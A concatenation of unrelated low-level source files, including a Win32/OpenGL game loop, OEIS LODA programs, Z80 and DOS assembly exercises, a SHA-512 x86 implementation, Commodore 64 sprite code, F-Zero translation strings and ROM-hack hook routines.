GLCall(glBindVertexArray(0)); while (1) { // Event handling MSG message; if (PeekMessage(&message, NULL, NULL, NULL, PM_REMOVE) > 0) { TranslateMessage(&message); DispatchMessage(&message); if (message.message == WM_QUIT) break; } // FPS limiter. do { nowT = Timer::Now(); elapsedT = nowT - lastT; } while (elapsedT < minFrametime); // TODO: Update the game { } // Render the game { GLCall(glViewport(0, 0, _Width, _Height)); GLCall(glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)); glBindVertexArray(VAO); vbo.Bind(); shader.Bind(); GLCall(glDrawArrays(GL_TRIANGLES, 0, 3)); SwapBuffers(win32->hDC); FPS++; } // FPS Counter fpsTimer += elapsedT; if (fpsTimer > 1.0) { wchar_t titleStr[64]; _Title.Unicode(titleStr); wchar_t temp[64]; swprintf_s(temp, L"%.*s - FPS %d\n", _Title.Length(), titleStr, FPS); SetWindowText(win32->hWnd, temp); fpsTimer -= 1.0; FPS = 0; } // Advance to the next frame lastT = nowT; } } Close(); } void Application::Close() { Win32Handle* win32 = reinterpret_cast<Win32Handle*>(_Handle); wglDeleteContext(win32->hGL); UnregisterClassW(CLASS_NAME, GetModuleHandleW(nullptr)); PostQuitMessage(0); delete _Handle; } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { void* ptr = (void*)GetWindowLongPtrW(hWnd, GWLP_USERDATA); Application* app = reinterpret_cast<Application*>(ptr); switch (message) { case WM_DESTROY: case WM_CLOSE: { // TODO(NeGate): Implement weird message system PostQuitMessage(0); break; } default: break; } return DefWindowProc(hWnd, message, wParam, lParam); } } #endif /* PLATFORM_WINDOWS */
; A303303: Generalized 23-gonal (or icositrigonal) numbers: m*(21*m - 19)/2 with m = 0, +1, -1, +2, -2, +3, -3, ... ; 0,1,20,23,61,66,123,130,206,215,310,321,435,448,581,596,748,765,936,955,1145,1166,1375,1398,1626,1651,1898,1925,2191,2220,2505,2536,2840,2873,3196,3231,3573,3610,3971,4010,4390,4431,4830,4873,5291,5336,5773,5820,6276,6325,6800,6851,7345,7398,7911,7966,8498,8555,9106,9165,9735,9796,10385,10448,11056,11121,11748,11815,12461,12530,13195,13266,13950,14023,14726,14801,15523,15600,16341,16420,17180,17261,18040,18123,18921,19006,19823,19910,20746,20835,21690,21781,22655,22748,23641,23736,24648,24745 lpb $0 mov $2,$0 sub $0,1 seq $2,317319 ; Multiples of 19 and odd numbers interleaved. add $1,$2 lpe mov $0,$1
; Toy program that draws some vertical lines on the screen org $4a00 import '../lib/barden_fill.asm' space equ $20 screen equ $3c00 char_ct equ 64*16 vlinel equ $95 vliner equ $aa ; Draw a vertical line at IX which should be along the ; top line of the screen. vline: ld a,16 draw: ld (ix),vlinel ld bc,64 add ix,bc dec a jr nz,draw ret main: ; Clear the screen. ld d,space ld hl,screen ld bc,char_ct call barden_fill ; Draw a vertical line on some columns on the screen ld ix,screen call vline ld ix,screen+5 call vline ld ix,screen+10 call vline ld ix,screen+23 call vline ld ix,screen+33 call vline ld ix,screen+50 call vline ld ix,screen+63 call vline hcf: jr hcf end main
/* * SHA-512 hash in x86 assembly * * Copyright (c) 2014 Project Nayuki * http://www.nayuki.io/page/fast-sha2-hashes-in-x86-assembly * * (MIT License) * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * - The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * - The Software is provided "as is", without warranty of any kind, express or * implied, including but not limited to the warranties of merchantability, * fitness for a particular purpose and noninfringement. In no event shall the * authors or copyright holders be liable for any claim, damages or other * liability, whether in an action of contract, tort or otherwise, arising from, * out of or in connection with the Software or the use or other dealings in the * Software. */ /* void sha512_compress(uint64_t state[8], const uint8_t block[128]) */ .globl sha512_compress sha512_compress: /* * Storage usage: * Bytes Location Description * 4 eax Temporary base address of state or block array arguments * 4 ecx Old value of esp * 4 esp x86 stack pointer * 64 [esp+ 0] SHA-512 state variables A,B,C,D,E,F,G,H (8 bytes each) * 128 [esp+64] Circular buffer of most recent 16 key schedule items, 8 bytes each * 56 mm0..mm6 Temporary for calculation per round * 8 mm7 Control value for byte endian reversal * 64 xmm0..xmm3 Temporary for copying or calculation */ #define SCHED(i) (((i)&0xF)*8+64)(%esp) #define STATE(i) (i*8)(%esp) #define RORQ(reg, shift, temp) \ movq %reg, %temp; \ psllq $(64-shift), %temp; \ psrlq $shift, %reg; \ por %temp, %reg; #define ROUNDa(i, a, b, c, d, e, f, g, h) \ movq (i*8)(%eax), %mm0; \ pshufb %mm7, %mm0; \ movq %mm0, SCHED(i); \ ROUNDTAIL(i, a, b, c, d, e, f, g, h) #define ROUNDb(i, a, b, c, d, e, f, g, h) \ movq SCHED(i-16), %mm0; \ paddq SCHED(i- 7), %mm0; \ movq SCHED(i-15), %mm1; \ movq %mm1, %mm2; \ movq %mm1, %mm3; \ RORQ(mm1, 1, mm5) \ RORQ(mm2, 8, mm4) \ psrlq $7, %mm3; \ pxor %mm3, %mm2; \ pxor %mm2, %mm1; \ paddq %mm1, %mm0; \ movq SCHED(i- 2), %mm1; \ movq %mm1, %mm2; \ movq %mm1, %mm3; \ RORQ(mm1, 19, mm5) \ RORQ(mm2, 61, mm4) \ psrlq $6, %mm3; \ pxor %mm3, %mm2; \ pxor %mm2, %mm1; \ paddq %mm1, %mm0; \ movq %mm0, SCHED(i); \ ROUNDTAIL(i, a, b, c, d, e, f, g, h) #define ROUNDTAIL(i, a, b, c, d, e, f, g, h) \ /* Part 0 */ \ paddq STATE(h), %mm0; \ movq STATE(e), %mm1; \ movq %mm1, %mm2; \ movq %mm1, %mm3; \ RORQ(mm1, 18, mm4) \ RORQ(mm2, 41, mm5) \ RORQ(mm3, 14, mm6) \ pxor %mm2, %mm1; \ pxor %mm3, %mm1; \ paddq .roundconstants+i*8, %mm0; \ movq STATE(g), %mm2; \ pxor STATE(f), %mm2; \ pand STATE(e), %mm2; \ pxor STATE(g), %mm2; \ paddq %mm1, %mm0; \ paddq %mm2, %mm0; \ /* Part 1 */ \ movq STATE(d), %mm1; \ paddq %mm0, %mm1; \ movq %mm1, STATE(d); \ /* Part 2 */ \ movq STATE(a), %mm1; \ movq %mm1, %mm2; \ movq %mm1, %mm3; \ RORQ(mm1, 39, mm4) \ RORQ(mm2, 34, mm5) \ RORQ(mm3, 28, mm6) \ pxor %mm2, %mm1; \ pxor %mm3, %mm1; \ movq STATE(c), %mm2; \ paddq %mm1, %mm0; \ movq %mm2, %mm3; \ por STATE(b), %mm3; \ pand STATE(b), %mm2; \ pand STATE(a), %mm3; \ por %mm2, %mm3; \ paddq %mm3, %mm0; \ movq %mm0, STATE(h); /* Allocate 16-byte aligned scratch space */ movl %esp, %ecx subl $192, %esp andl $~0xF, %esp /* Copy state */ movl 4(%ecx), %eax movdqu 0(%eax), %xmm0; movdqu %xmm0, 0(%esp) movdqu 16(%eax), %xmm1; movdqu %xmm1, 16(%esp) movdqu 32(%eax), %xmm2; movdqu %xmm2, 32(%esp) movdqu 48(%eax), %xmm3; movdqu %xmm3, 48(%esp) /* Do 80 rounds of hashing */ movl 8(%ecx), %eax movq .bswap64, %mm7 ROUNDa( 0, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDa( 1, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDa( 2, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDa( 3, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDa( 4, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDa( 5, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDa( 6, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDa( 7, 1, 2, 3, 4, 5, 6, 7, 0) ROUNDa( 8, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDa( 9, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDa(10, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDa(11, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDa(12, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDa(13, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDa(14, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDa(15, 1, 2, 3, 4, 5, 6, 7, 0) ROUNDb(16, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDb(17, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDb(18, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDb(19, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDb(20, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDb(21, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDb(22, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDb(23, 1, 2, 3, 4, 5, 6, 7, 0) ROUNDb(24, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDb(25, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDb(26, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDb(27, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDb(28, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDb(29, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDb(30, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDb(31, 1, 2, 3, 4, 5, 6, 7, 0) ROUNDb(32, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDb(33, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDb(34, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDb(35, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDb(36, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDb(37, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDb(38, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDb(39, 1, 2, 3, 4, 5, 6, 7, 0) ROUNDb(40, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDb(41, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDb(42, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDb(43, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDb(44, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDb(45, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDb(46, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDb(47, 1, 2, 3, 4, 5, 6, 7, 0) ROUNDb(48, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDb(49, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDb(50, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDb(51, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDb(52, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDb(53, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDb(54, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDb(55, 1, 2, 3, 4, 5, 6, 7, 0) ROUNDb(56, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDb(57, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDb(58, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDb(59, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDb(60, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDb(61, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDb(62, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDb(63, 1, 2, 3, 4, 5, 6, 7, 0) ROUNDb(64, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDb(65, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDb(66, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDb(67, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDb(68, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDb(69, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDb(70, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDb(71, 1, 2, 3, 4, 5, 6, 7, 0) ROUNDb(72, 0, 1, 2, 3, 4, 5, 6, 7) ROUNDb(73, 7, 0, 1, 2, 3, 4, 5, 6) ROUNDb(74, 6, 7, 0, 1, 2, 3, 4, 5) ROUNDb(75, 5, 6, 7, 0, 1, 2, 3, 4) ROUNDb(76, 4, 5, 6, 7, 0, 1, 2, 3) ROUNDb(77, 3, 4, 5, 6, 7, 0, 1, 2) ROUNDb(78, 2, 3, 4, 5, 6, 7, 0, 1) ROUNDb(79, 1, 2, 3, 4, 5, 6, 7, 0) /* Add to state */ movl 4(%ecx), %eax movdqu 0(%eax), %xmm0; paddq 0(%esp), %xmm0; movdqu %xmm0, 0(%eax) movdqu 16(%eax), %xmm1; paddq 16(%esp), %xmm1; movdqu %xmm1, 16(%eax) movdqu 32(%eax), %xmm2; paddq 32(%esp), %xmm2; movdqu %xmm2, 32(%eax) movdqu 48(%eax), %xmm3; paddq 48(%esp), %xmm3; movdqu %xmm3, 48(%eax) /* Clean up */ emms movl %ecx, %esp retl .balign 8 .bswap64: .quad 0x0001020304050607 .roundconstants: .quad 0x428A2F98D728AE22, 0x7137449123EF65CD, 0xB5C0FBCFEC4D3B2F, 0xE9B5DBA58189DBBC .quad 0x3956C25BF348B538, 0x59F111F1B605D019, 0x923F82A4AF194F9B, 0xAB1C5ED5DA6D8118 .quad 0xD807AA98A3030242, 0x12835B0145706FBE, 0x243185BE4EE4B28C, 0x550C7DC3D5FFB4E2 .quad 0x72BE5D74F27B896F, 0x80DEB1FE3B1696B1, 0x9BDC06A725C71235, 0xC19BF174CF692694 .quad 0xE49B69C19EF14AD2, 0xEFBE4786384F25E3, 0x0FC19DC68B8CD5B5, 0x240CA1CC77AC9C65 .quad 0x2DE92C6F592B0275, 0x4A7484AA6EA6E483, 0x5CB0A9DCBD41FBD4, 0x76F988DA831153B5 .quad 0x983E5152EE66DFAB, 0xA831C66D2DB43210, 0xB00327C898FB213F, 0xBF597FC7BEEF0EE4 .quad 0xC6E00BF33DA88FC2, 0xD5A79147930AA725, 0x06CA6351E003826F, 0x142929670A0E6E70 .quad 0x27B70A8546D22FFC, 0x2E1B21385C26C926, 0x4D2C6DFC5AC42AED, 0x53380D139D95B3DF .quad 0x650A73548BAF63DE, 0x766A0ABB3C77B2A8, 0x81C2C92E47EDAEE6, 0x92722C851482353B .quad 0xA2BFE8A14CF10364, 0xA81A664BBC423001, 0xC24B8B70D0F89791, 0xC76C51A30654BE30 .quad 0xD192E819D6EF5218, 0xD69906245565A910, 0xF40E35855771202A, 0x106AA07032BBD1B8 .quad 0x19A4C116B8D2D0C8, 0x1E376C085141AB53, 0x2748774CDF8EEB99, 0x34B0BCB5E19B48A8 .quad 0x391C0CB3C5C95A63, 0x4ED8AA4AE3418ACB, 0x5B9CCA4F7763E373, 0x682E6FF3D6B2B8A3 .quad 0x748F82EE5DEFB2FC, 0x78A5636F43172F60, 0x84C87814A1F0AB72, 0x8CC702081A6439EC .quad 0x90BEFFFA23631E28, 0xA4506CEBDE82BDE9, 0xBEF9A3F7B2C67915, 0xC67178F2E372532B .quad 0xCA273ECEEA26619C, 0xD186B8C721C0C207, 0xEADA7DD6CDE0EB1E, 0xF57D4F7FEE6ED178 .quad 0x06F067AA72176FBA, 0x0A637DC5A2C898A6, 0x113F9804BEF90DAE, 0x1B710B35131C471B .quad 0x28DB77F523047D84, 0x32CAAB7B40C72493, 0x3C9EBE0A15C9BEBC, 0x431D67C49C100D4C .quad 0x4CC5D4BECB3E42B6, 0x597F299CFC657E2A, 0x5FCB6FAB3AD6FAEC, 0x6C44198C4A475817
////////////////////////////////////////////////////////////////////////////// // astro_ships_code.asm // Copyright(c) 2021 Neal Smith. // License: MIT. See LICENSE file in root directory. ////////////////////////////////////////////////////////////////////////////// #importonce #import "../nv_c64_util/nv_c64_util_macs_and_data.asm" #import "astro_sprite_data.asm" #import "../nv_c64_util/nv_sprite_extra_code.asm" #import "astro_vars_data.asm" #import "../nv_c64_util/nv_sprite_raw_collisions_code.asm" // max and min speed for ships when inc/dec speed .const SHIP_MAX_SPEED = 5 .const SHIP_MIN_SPEED = -5 ////////////////////////////////////////////////////////////////////////////// // namespace with everything related to ship sprite .namespace ship_1 { .var info = nv_sprite_info_struct("ship_1", 0, 22, 50, 3, 1, // init x, y, VelX, VelY sprite_ship, sprite_extra, 1, 0, 1, 0, // bounce on top, left, bottom, right 0, 0, 75, 0, // min/max top, left, bottom, right 0, // sprite enabled 6, 4, 19, 16) // hitbox left, top, right, bottom .var sprite_num = info.num .label x_loc = info.base_addr + NV_SPRITE_X_OFFSET .label y_loc = info.base_addr + NV_SPRITE_Y_OFFSET .label x_vel = info.base_addr + NV_SPRITE_VEL_X_OFFSET .label y_vel = info.base_addr + NV_SPRITE_VEL_Y_OFFSET .label data_ptr = info.base_addr + NV_SPRITE_DATA_PTR_OFFSET .label base_addr = info.base_addr // the extra data that goes with the sprite sprite_extra: nv_sprite_extra_data(info) // will be $FF (no collision) or sprite number of sprite colliding with collision_sprite: .byte 0 // score for this ship in BCD score: .word 0 LoadExtraPtrToRegs: lda #>info.base_addr ldx #<info.base_addr rts // subroutine to set the sprites location based on its address in extra block SetLocationFromExtraData: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetLocationFromExtra rts // subroutine to setup the sprite so that its ready to be enabled and displayed Setup: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetupFromExtra rts // subroutine to move the sprite in memory only (the extra data) // this will not update the sprite registers to actually move the sprite, but // to do that just call SetShipeLocFromMem MoveInExtraData: //lda #>info.base_addr //ldx #<info.base_addr //jsr NvSpriteMoveInExtra //rts nv_sprite_move_any_direction_sr(info) Enable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_enable_sr() Disable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_disable_sr() // Accum must have MSB of new data_ptr // X Reg must have LSB of new data_ptr SetDataPtr: { stx data_ptr sta data_ptr+1 // Accum: MSB of address of nv_sprite_extra_data // X Reg: LSB of address of the nv_sprite_extra_data lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetDataPtrFromExtra rts } LoadEnabledToA: lda info.base_addr + NV_SPRITE_ENABLED_OFFSET rts SetBounceAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_BOUNCE) SetWrapAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_WRAP) ////////////////////////////////////////////////////////////////////////////// // subroutine to check for collisions with the ship (sprite 0) CheckShipCollision: lda sprite_collision_reg_value //nv_debug_print_labeled_byte_mem(0, 0, temp_label, 10, sprite_collision_reg_value, true, false) sta nv_a8 nv_sprite_raw_check_collision(info.num) lda nv_b8 sta ship_1.collision_sprite //jsr DebugShipCollisionSprite rts temp_label: .text @"coll reg: \$00" DecVelX: { //nv_debug_print_labeled_byte_mem(10, 0, label_vel_x_str, 7, ship_1.x_vel, true, false) dec ship_1.x_vel // decrement ship speed bpl DoneDecVelX // if its not zero yet then skip setting to max inc ship_1.x_vel DoneDecVelX: rts } IncVelX: { //nv_debug_print_labeled_byte_mem(10, 0, label_vel_x_str, 7, ship_1.x_vel, true, false) lda ship_1.x_vel // decrement ship speed cmp #SHIP_MAX_SPEED // if its not zero yet then skip setting to max beq DoneIncVelX inc ship_1.x_vel DoneIncVelX: rts } ////////////////////////////////////////////////////////////////////////////// // x and y reg have x and y screen loc for the char to check the sprite // location against. it doesn't matter what character is at the location // this just checks the location for overlap with sprite location CheckOverlapChar: nv_sprite_check_overlap_char(info, rect2) rts SetColorDead: nv_sprite_set_raw_color_immed(sprite_num, NV_COLOR_GREY) rts SetColorAlive: lda #>info.base_addr ldx #<info.base_addr nv_sprite_set_color_from_extra_sr() label_vel_x_str: .text @"vel x: \$00" rect1: .word $0000, $0000 // (left, top) .word $0000, $0000 // (right, bottom) rect2: .word $0000, $0000 // (left, top) .word $0000, $0000 // (right, bottom) } ////////////////////////////////////////////////////////////////////////////// // namespace with everything related to ship sprite .namespace ship_2 { .var info = nv_sprite_info_struct("ship_2", 7, // sprite name, number 22, 210, 3, 1, // init x, y, VelX, VelY sprite_ship, sprite_extra, 1, 0, 1, 0, // bounce on top, left, bottom, right 200, 0, 0, 0, // min/max top, left, bottom, right 0, // sprite enabled 6, 4, 19, 16) // hitbox left, top, right, bottom .var sprite_num = info.num .label x_loc = info.base_addr + NV_SPRITE_X_OFFSET .label y_loc = info.base_addr + NV_SPRITE_Y_OFFSET .label x_vel = info.base_addr + NV_SPRITE_VEL_X_OFFSET .label y_vel = info.base_addr + NV_SPRITE_VEL_Y_OFFSET .label data_ptr = info.base_addr + NV_SPRITE_DATA_PTR_OFFSET .label base_addr = info.base_addr .label sprite_extra_addr = info.base_addr // the extra data that goes with the sprite sprite_extra: nv_sprite_extra_data(info) // will be $FF (no collision) or sprite number of sprite colliding with collision_sprite: .byte 0 // score for this ship in BCD score: .word 0 LoadExtraPtrToRegs: lda #>info.base_addr ldx #<info.base_addr rts // subroutine to set the sprites location based on its address in extra block SetLocationFromExtraData: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetLocationFromExtra rts // subroutine to setup the sprite so that its ready to be enabled and displayed Setup: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetupFromExtra rts // subroutine to move the sprite in memory only (the extra data) // this will not update the sprite registers to actually move the sprite, but // to do that just call SetShipeLocFromMem MoveInExtraData: //lda #>info.base_addr //ldx #<info.base_addr //jsr NvSpriteMoveInExtra //rts nv_sprite_move_any_direction_sr(info) Enable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_enable_sr() Disable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_disable_sr() // Accum must have MSB of new data_ptr // X Reg must have LSB of new data_ptr SetDataPtr: { stx data_ptr sta data_ptr+1 // Accum: MSB of address of nv_sprite_extra_data // X Reg: LSB of address of the nv_sprite_extra_data lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetDataPtrFromExtra rts } LoadEnabledToA: lda info.base_addr + NV_SPRITE_ENABLED_OFFSET rts SetBounceAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_BOUNCE) SetWrapAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_WRAP) ////////////////////////////////////////////////////////////////////////////// // subroutine to check for collisions with the ship (sprite 0) CheckShipCollision: lda sprite_collision_reg_value //nv_debug_print_labeled_byte_mem(0, 0, temp_label, 10, sprite_collision_reg_value, true, false) sta nv_a8 nv_sprite_raw_check_collision(info.num) lda nv_b8 sta ship_2.collision_sprite rts DecVelX: { //nv_debug_print_labeled_byte_mem(10, 0, label_vel_x_str, 7, ship_2.x_vel, true, false) dec ship_2.x_vel // decrement ship speed bpl DoneShip2DecVelX // if its not zero yet then skip setting to max inc ship_2.x_vel DoneShip2DecVelX: rts } IncVelX: { //nv_debug_print_labeled_byte_mem(10, 0, label_vel_x_str, 7, ship_2.x_vel, true, false) lda ship_2.x_vel // decrement ship speed cmp #SHIP_MAX_SPEED // if its not zero yet then skip setting to max beq DoneShip2IncVelX inc ship_2.x_vel DoneShip2IncVelX: rts } SetColorDead: nv_sprite_set_raw_color_immed(sprite_num, NV_COLOR_GREY) rts SetColorAlive: //lda #>info.base_addr //ldx #<info.base_addr //nv_sprite_set_color_from_extra_sr() nv_sprite_set_raw_color_immed(sprite_num, NV_COLOR_BROWN) rts label_vel_x_str: .text @"vel x: \$00" }
.MODEL SMALL .STACK 100H .DATA .CODE MAIN PROC ; Disply user prompt MOV AH,2 MOV DL,'?' INT 21H XOR CX,CX ; recive an input MOV AH,1 INT 21H ;WHILE LOOP WHILE_: ; if input not equal CR CMP AL,0DH ; go to end_while JE END_WHILE PUSH AX INC CX INT 21H JMP WHILE_ ;end_while.. END_WHILE: ; if CR MOV AH,2 MOV DL,0DH ; if LF MOV DL,0AH INT 21H ; exute if CX is ZERO JCXZ EXIT TOP: POP DX INT 21H LOOP TOP ; if done end programme EXIT: MOV AH,4CH INT 21H MAIN ENDP END MAIN
; F-Zero Climax Translation by Normmatt .align 4 Profile9_CharacterProfile: .sjis "้ซ˜ๆฉŸๅ‹•ๅฐ้šŠใƒกใ‚ซใƒ‹ใƒƒ",TextNL,"ใ‚ฏ่ฒฌไปป่€…ใ€‚ใƒชใƒฅใ‚ฆใฎ",TextNL,"ๆ“ใ‚‹ใƒ‰ใƒฉใ‚ดใƒณใƒใƒผใƒ‰",TextNL,"ใฎ่จญ่จˆ่€…ใงใ‚‚ใ‚ใ‚‹ใ€‚",TextNL,"ใใฎ่ฆ‹ใŸ็›ฎใจใฏ่ฃ่…น",TextNL,"ใซๆธฉๅŽšใชๆ€งๆ ผใงใƒใƒผ",TextNL,"ใƒ ใ‹ใ‚‰ใฎไฟกใ‚‰ใ„ใ‚‚",TextNL,"ใจใฆใ‚‚ๅŽšใ„ใ€‚",TextNL,"่‡ชใ‚‰ใ‚‚ใƒžใ‚ทใƒณใ‚’ๆ“ใ‚Šใ€",TextNL,"ใƒฌใƒผใ‚นใซๅ‚ๆˆฆใ™ใ‚‹",TextNL,"ใ“ใจใ‚‚ใ‚ใ‚‹ใ€‚",TextNL,"่ƒŒไธญใซ่ƒŒ่ฒ ใฃใŸใƒž",TextNL,"ใ‚ธใƒƒใ‚ฏใƒใƒณใƒ‰ใฏๅฝผใฎ",TextNL,"ใ‚ธใƒžใƒณใฎ็™บๆ˜Žใงใ‚ใ‚‹ใ€‚",TextNL,"" .align 4 Profile9_VehicleProfile: .sjis "ใƒžใ‚ทใƒณใƒŠใƒณใƒใƒผ๏ผ’๏ผ™",TextNL,TextNL,"ใƒฌใƒผใ‚นใ‚’ๅฎŒ่ตฐใ™ใ‚‹",TextNL,"ใ“ใจใ‚’็›ฎๆจ™ใซใƒใƒฅใƒผ",TextNL,"ใƒ‹ใƒณใ‚ฐใ•ใ‚Œใฆใ„ใ‚‹",TextNL,"่€ไน…ๅŠ›้‡่ฆ–ๅž‹ใฎ",TextNL,"ใƒžใ‚ทใƒณใ€‚",TextNL,"ๅฎŸ้š›ใฎใƒฌใƒผใ‚นใ‹ใ‚‰",TextNL,"ใ•ใพใ–ใพใชใƒ‡ใƒผใ‚ฟ",TextNL,"ๅŽ้›†ใ‚’่กŒใ„ใ€ใƒชใƒฅใ‚ฆ",TextNL,"ใ‚„ใ‚ธใƒฃใƒƒใ‚ฏใ‚’ๅ‹ๅˆฉใซ",TextNL,"ใฟใกใณใใฎใŒใใฎ",TextNL,"็›ฎ็š„ใงใ‚ใ‚‹ใ€‚",TextNL,"" ; make sure to leave an empty line at the end
; A132652: Sum of divisors of n, Sigma(n) raised to power Sigma(n). ; 1,27,256,823543,46656,8916100448256,16777216,437893890380859375,302875106592253,39346408075296537575424,8916100448256 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). pow $0,$0
;; ;; Copyright (c) 2012-2020, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %define FUNC submit_job_hmac_sha_384_avx %define SHA_X_DIGEST_SIZE 384 %include "avx/mb_mgr_hmac_sha_512_submit_avx.asm"
;-------------------------------------------------------------------------------- ; OnLoadOW ;-------------------------------------------------------------------------------- ;OnLoadMap: ; LDA $7EF2DB ; thing we wrote over ;RTL ;-------------------------------------------------------------------------------- OnPrepFileSelect: LDA $11 : CMP.b #$03 : BNE + LDA.b #$06 : STA $14 ; thing we wrote over RTL + JSL.l LoadAlphabetTilemap JML.l LoadFullItemTiles ;-------------------------------------------------------------------------------- OnDrawHud: JSL.l DrawChallengeTimer ; this has to come before NewDrawHud because the timer overwrites the compass counter JSL.l NewDrawHud JSL.l SwapSpriteIfNecessary JSL.l CuccoStorm JSL.l PollService JML.l ReturnFromOnDrawHud ;-------------------------------------------------------------------------------- ;OnDungeonEntrance: ; STA $7EC172 ; thing we wrote over ;RTL ;-------------------------------------------------------------------------------- OnPlayerDead: PHA JSL.l SetDeathWorldChecked JSL.l SetSilverBowMode JSL.l RefreshRainAmmo PLA RTL ;-------------------------------------------------------------------------------- OnDungeonExit: PHA : PHP SEP #$20 ; set 8-bit accumulator JSL.l PodEGFix PLP : PLA STA $040C : STZ $04AC ; thing we wrote over PHA : PHP 